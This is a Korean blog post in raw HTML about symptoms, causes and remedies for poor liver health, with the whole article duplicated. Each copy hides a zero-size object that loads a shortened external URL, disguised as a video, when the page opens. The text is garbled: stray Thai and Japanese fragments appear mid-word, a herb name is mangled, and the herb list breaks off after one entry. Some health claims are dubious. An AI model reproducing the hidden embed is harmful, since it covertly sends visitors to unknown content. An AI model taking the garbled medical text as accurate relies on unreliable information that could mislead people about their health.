간 안좋을때 증상 간건강 간기능 저하 원인 : 간에 좋은 약초 살펴보자

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object> <div _ngcontent-ng-c637416767="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:46">간 건강, 오늘부터 체크해보세요! 간 건강 악화의 증상, 원인, 개선 방법까지</h2>간은 우리 몸에서 가장 중요한 장기 중 하나입니다. 해독, 소화, 영양소 저장 등 다양한 기능을 수행하며 건강한 삶에 필수적인 역할을 합니다. 하지만 현대인의 생활 습관과 식단은 간 건강을 악화시키는 요인이 될 수 있습니다.1. 간 건강 악화의 증상간 건강이 악화되면 다음과 같은 증상이 나타날 수 있습니다.<ul data-sourcepos="9:1-16:0"> <li data-sourcepos="9:1-9:57">피로: 간 기능이 저하되면 젖산과 같은 노폐물이 체内に 축적되어 피로감을 느낄 수 있습니다.</li> <li data-sourcepos="10:1-10:68">식욕 부진: 간은 소화 효소를 생성하는 역할을 하기 때문에 간 기능이 저하되면 식욕 부진을 유발할 수 있습니다.</li> <li data-sourcepos="11:1-11:44">복통: 간이 부어 오르거나 염증이 생기면 복통이 나타날 수 있습니다.</li> <li data-sourcepos="12:1-12:64">황달: 간이 담즙을 제대로 분비하지 못하면 눈ขาว자와 피부가 노란색으로 변하는 황달 증상이 나타납니다.</li> <li data-sourcepos="13:1-13:45">가려움증: 피부 아래에 담즙이 축적되면 가려움증을 유발할 수 있습니다.</li> <li data-sourcepos="14:1-14:73">어지럼증과 메스꺼움: 간 기능이 저하되면 암모니아와 같은 독소가 뇌로 이동하여 어지럼증과 메스꺼움을 유발할 수 있습니다.</li> <li data-sourcepos="15:1-16:0">집중력 저하: 간은 인지 기능과 관련된 뇌 화학 물질의 대사를 담당하기 때문에 간 기능이 저하되면 집중력 저하를 유발할 수 있습니다.</li> </ul>2. 간 건강 악화의 원인간 건강 악화의 주요 원인은 다음과 같습니다.<ul data-sourcepos="21:1-28:0"> <li data-sourcepos="21:1-21:67">과도한 음주: 과도한 음주는 간세포를 손상시키고 간염, 간경변, 간암 등의 심각한 질환을 유발할 수 있습니다.</li> <li data-sourcepos="22:1-22:66">불규칙한 식습관: 고지방, 고탄수화물 식단은 지방간을 유발할 수 있으며, 과식은 간에負担을 줄 수 있습니다.</li> <li data-sourcepos="23:1-23:57">운동 부족: 운동 부족은 체중 증가와 지방 축적을 유발하여 간 건강을 악화시킬 수 있습니다.</li> <li data-sourcepos="24:1-24:39">약물 복용: 일부 약물은 간 기능에 손상을 줄 수 있습니다.</li> <li data-sourcepos="25:1-25:57">감염: A형 간염, B형 간염, C형 간염 등의 바이러스 감염은 간염을 유발할 수 있습니다.</li> <li data-sourcepos="26:1-26:28">비만: 비만은 지방간의 주요 원인입니다.</li> <li data-sourcepos="27:1-28:0">스트레스: 만성적인 스트레스는 간 기능을 저하시킬 수 있습니다.</li> </ul>3. 간 건강 개선 방법간 건강을 개선하기 위한 방법은 다음과 같습니다.<ul data-sourcepos="33:1-40:0"> <li data-sourcepos="33:1-33:75">음주 삼가기: 음주는 간 건강에 가장 해로운 요인 중 하나입니다. 따라서 가능한 한 음주를 삼가거나 줄이는 것이 중요합니다.</li> <li data-sourcepos="34:1-34:71">규칙적인 식습관: 건강한 식단을 유지하고, 과식을 피하며, 고지방, 고탄수화물 식품 섭취를 줄이는 것이 중요합니다.</li> <li data-sourcepos="35:1-35:45">충분한 운동: 일주일에 3~5번, 30분 이상 운동하는 것이 좋습니다.</li> <li data-sourcepos="36:1-36:41">충분한 수분 섭취: 하루 8잔 이상 물을 마시는 것이 좋습니다.</li> <li data-sourcepos="37:1-37:48">금연: 흡연은 간 건강에 해로운 영향을 미칩니다. 따라서 금연은 필수입니다.</li> <li data-sourcepos="38:1-38:88">스트레스 관리: 스트레스를 관리하는 방법을 찾는 것이 중요합니다. 명상, 요가, 심호흡 등 스트레스 해소에 도움이 되는 활동을 하는 것이 좋습니다.</li> <li data-sourcepos="39:1-40:0">정기적인 검진: 간 질환은 초기에는 증상이 거의 나타나지 않기 때문에 정기적인 검진을 통해 조기 발견 및 치료가 중요합니다.</li> </ul>4. 간 건강에 좋은 약초간 건강에 좋은 것으로 알려진 약초는 다음과 같습니다.<ul data-sourcepos="45:1-45:31"> <li data-sourcepos="45:1-45:31">**마리엉 thistle (Milk thistle):</li> </ul></div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c637416767="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:46">간 건강, 오늘부터 체크해보세요! 간 건강 악화의 증상, 원인, 개선 방법까지</h2>간은 우리 몸에서 가장 중요한 장기 중 하나입니다. 해독, 소화, 영양소 저장 등 다양한 기능을 수행하며 건강한 삶에 필수적인 역할을 합니다. 하지만 현대인의 생활 습관과 식단은 간 건강을 악화시키는 요인이 될 수 있습니다.1. 간 건강 악화의 증상간 건강이 악화되면 다음과 같은 증상이 나타날 수 있습니다.<ul data-sourcepos="9:1-16:0"> <li data-sourcepos="9:1-9:57">피로: 간 기능이 저하되면 젖산과 같은 노폐물이 체内に 축적되어 피로감을 느낄 수 있습니다.</li> <li data-sourcepos="10:1-10:68">식욕 부진: 간은 소화 효소를 생성하는 역할을 하기 때문에 간 기능이 저하되면 식욕 부진을 유발할 수 있습니다.</li> <li data-sourcepos="11:1-11:44">복통: 간이 부어 오르거나 염증이 생기면 복통이 나타날 수 있습니다.</li> <li data-sourcepos="12:1-12:64">황달: 간이 담즙을 제대로 분비하지 못하면 눈ขาว자와 피부가 노란색으로 변하는 황달 증상이 나타납니다.</li> <li data-sourcepos="13:1-13:45">가려움증: 피부 아래에 담즙이 축적되면 가려움증을 유발할 수 있습니다.</li> <li data-sourcepos="14:1-14:73">어지럼증과 메스꺼움: 간 기능이 저하되면 암모니아와 같은 독소가 뇌로 이동하여 어지럼증과 메스꺼움을 유발할 수 있습니다.</li> <li data-sourcepos="15:1-16:0">집중력 저하: 간은 인지 기능과 관련된 뇌 화학 물질의 대사를 담당하기 때문에 간 기능이 저하되면 집중력 저하를 유발할 수 있습니다.</li> </ul>2. 간 건강 악화의 원인간 건강 악화의 주요 원인은 다음과 같습니다.<ul data-sourcepos="21:1-28:0"> <li data-sourcepos="21:1-21:67">과도한 음주: 과도한 음주는 간세포를 손상시키고 간염, 간경변, 간암 등의 심각한 질환을 유발할 수 있습니다.</li> <li data-sourcepos="22:1-22:66">불규칙한 식습관: 고지방, 고탄수화물 식단은 지방간을 유발할 수 있으며, 과식은 간에負担을 줄 수 있습니다.</li> <li data-sourcepos="23:1-23:57">운동 부족: 운동 부족은 체중 증가와 지방 축적을 유발하여 간 건강을 악화시킬 수 있습니다.</li> <li data-sourcepos="24:1-24:39">약물 복용: 일부 약물은 간 기능에 손상을 줄 수 있습니다.</li> <li data-sourcepos="25:1-25:57">감염: A형 간염, B형 간염, C형 간염 등의 바이러스 감염은 간염을 유발할 수 있습니다.</li> <li data-sourcepos="26:1-26:28">비만: 비만은 지방간의 주요 원인입니다.</li> <li data-sourcepos="27:1-28:0">스트레스: 만성적인 스트레스는 간 기능을 저하시킬 수 있습니다.</li> </ul>3. 간 건강 개선 방법간 건강을 개선하기 위한 방법은 다음과 같습니다.<ul data-sourcepos="33:1-40:0"> <li data-sourcepos="33:1-33:75">음주 삼가기: 음주는 간 건강에 가장 해로운 요인 중 하나입니다. 따라서 가능한 한 음주를 삼가거나 줄이는 것이 중요합니다.</li> <li data-sourcepos="34:1-34:71">규칙적인 식습관: 건강한 식단을 유지하고, 과식을 피하며, 고지방, 고탄수화물 식품 섭취를 줄이는 것이 중요합니다.</li> <li data-sourcepos="35:1-35:45">충분한 운동: 일주일에 3~5번, 30분 이상 운동하는 것이 좋습니다.</li> <li data-sourcepos="36:1-36:41">충분한 수분 섭취: 하루 8잔 이상 물을 마시는 것이 좋습니다.</li> <li data-sourcepos="37:1-37:48">금연: 흡연은 간 건강에 해로운 영향을 미칩니다. 따라서 금연은 필수입니다.</li> <li data-sourcepos="38:1-38:88">스트레스 관리: 스트레스를 관리하는 방법을 찾는 것이 중요합니다. 명상, 요가, 심호흡 등 스트레스 해소에 도움이 되는 활동을 하는 것이 좋습니다.</li> <li data-sourcepos="39:1-40:0">정기적인 검진: 간 질환은 초기에는 증상이 거의 나타나지 않기 때문에 정기적인 검진을 통해 조기 발견 및 치료가 중요합니다.</li> </ul>4. 간 건강에 좋은 약초간 건강에 좋은 것으로 알려진 약초는 다음과 같습니다.<ul data-sourcepos="45:1-45:31"> <li data-sourcepos="45:1-45:31">**마리엉 thistle (Milk thistle):</li> </ul></div> </div></div>